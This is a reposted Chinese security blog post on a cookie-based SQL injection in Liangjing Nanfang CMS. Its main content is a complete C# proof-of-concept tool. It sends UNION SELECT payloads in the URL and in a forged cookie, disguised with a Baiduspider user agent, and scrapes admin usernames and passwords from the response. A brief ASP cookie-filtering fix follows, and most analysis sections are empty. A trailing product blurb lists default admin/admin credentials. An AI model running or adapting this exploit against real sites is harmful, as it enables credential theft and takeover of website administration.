良精南方cms /inc/Check_Sql.asp SQL Injection Based On Cookie

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

Relevant Link:
2. 漏洞触发条件

0x1: POC

using System;
using System.Collections;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
namespace windowsmanger
{
    internal class ljnanfang
    {
        public string exp(string url)
        {
            string result;
            try
            {
                string exps = "/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20%66%72%6F%6D%20%61%64%6D%69%6E";
                string urls = url;
                if (!urls.Contains("http://"))
                {
                    urls = "http://" + urls;
                }
                string shuju = new WebClient
                {
                    Headers = 
                    {

                        {
                            "user-agent",
                            "Baiduspider"
                        }
                    },
                    Encoding = Encoding.Default
                }.DownloadString(urls + exps).Replace("\r", "").Replace("\n", "");
                int a = shuju.IndexOf("title=");
                int b = shuju.IndexOf("target=");
                string jieguo = shuju.Substring(a + 8, b - a - 11);
                result = jieguo;
            }
            catch
            {
                string jieguosd = this.isshuju(url);
                if (jieguosd != "网站未发现安全隐患")
                {
                    result = jieguosd;
                }
                else
                {
                    result = "网站未发现安全隐患";
                }
            }
            return result;
        }
        public string isshuju(string url)
        {
            string result;
            try
            {
                string exps = "/shownews.asp";
                string shuju = new WebClient
                {
                    Proxy = null,
                    Encoding = Encoding.Default,
                    Headers = 
                    {

                        {
                            "user-agent",
                            "Baiduspider"
                        },

                        {
                            "Cookie",
                            "ASPSESSIONIDCACQBSAT=JGGFLMFDNIDGIFLOJHNBMGBK;id=59+union+select+1,username,password,4,5,6,7,8,9,10+from+admin"
                        }
                    }
                }.DownloadString(url + exps);
                MatchCollection matcha = new Regex("<td.height=.50..*?align=.center..class=..*?.>(?<admin>.*?)</td>\\r(?s).*?</font>次.*?>\\r.*?\\r.*?\\r.*?\\r(?<pass>.*?)</td>", RegexOptions.None).Matches(shuju);
                IEnumerator enumerator = matcha.GetEnumerator();
                try
                {
                    if (enumerator.MoveNext())
                    {
                        Match match = (Match)enumerator.Current;
                        string bb = match.Groups["admin"].ToString().Replace(" ", "");
                        string cc = match.Groups["pass"].ToString().Replace(" ", "");
                        result = bb + "  " + cc;
                        return result;
                    }
                }
                finally
                {
                    IDisposable disposable = enumerator as IDisposable;
                    if (disposable != null)
                    {
                        disposable.Dispose();
                    }
                }
                result = "网站未发现安全隐患";
            }
            catch
            {
                result = "网站未发现安全隐患";
            }
            return result;
        }
    }
}


3. 漏洞影响范围
4. 漏洞代码分析

Cookie注入


5. 防御方法

/inc/Check_Sql.asp

On Error Resume Next
''''
Chk_badword=split(Query_Badword,"")
For Each Fy_Get In Request.Cookies
    For i=0 To Ubound(Chk_badword)
        If Instr(LCase(Request.Cookies(Fy_Get)),Chk_badword(i))<>0 Then
        Response.End
        End If
    Next
Next
''''

官方最新的代码中包含有对POST、GET的过滤代码,需要在这个基础上加上Cookie注入防御


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

转载于:https://www.cnblogs.com/LittleHann/p/4794207.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
主要功能模块介绍 1. 企业信息:发布介绍企业的各类信息,如企业简介、组织机构、营销网络、企业荣誉、联系方式,并可随意增加新的栏目等。 2. 新闻动态:发布企业新闻和业内资讯,从后台到前台真正实现无限级分类显示,并随意控制显示级数,大大增加信息发布的灵活性。 3. 产品展示:发布企业产品,按产品类别显示及搜索产品,并可多选产品直接下订单询盘,无限级分类,大大增加信息发布的灵活性。 4. 下载资源:发布供网站浏览者和客户下载的资料等,如使用手册、销售合同、软件等,无限级分类。 5. 人力资源:发布招聘信息,人才策略,浏览者可在线递交简历。 6. 其他信息:相当于无限扩展栏,并可进行无限分类,可以用于发布网站主栏目未归类的信息,如解决方案、成功案例、购买流程等。 7. 会员中心:会员可任意设置级别,并可根据级别限制浏览相关内容,会员机制与订购、应聘、留言三大模块有机结合的,我们充分考虑到了网站访问者的惰性,所以会员机制与三大模块又可完全脱离,即未注册也同样能留言、下订单、递交简历。 8. 留言反馈:以留言板的模式让有意见和建议的浏览者反馈回来,可设悄悄话留言方式,可设默认是否通过审核后显示留言。 使用此程序请保留低部信息,良精制作链接及版权信息.谢谢! 2009年6月1日网友提示说无法进入后台 答:网站目录(文件夹)没有写入权限   2009年9月17日 更新了 会员注册权限 下载权限 新闻阅读权限 新闻增加网摘 用户名 admin 密码 admin

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值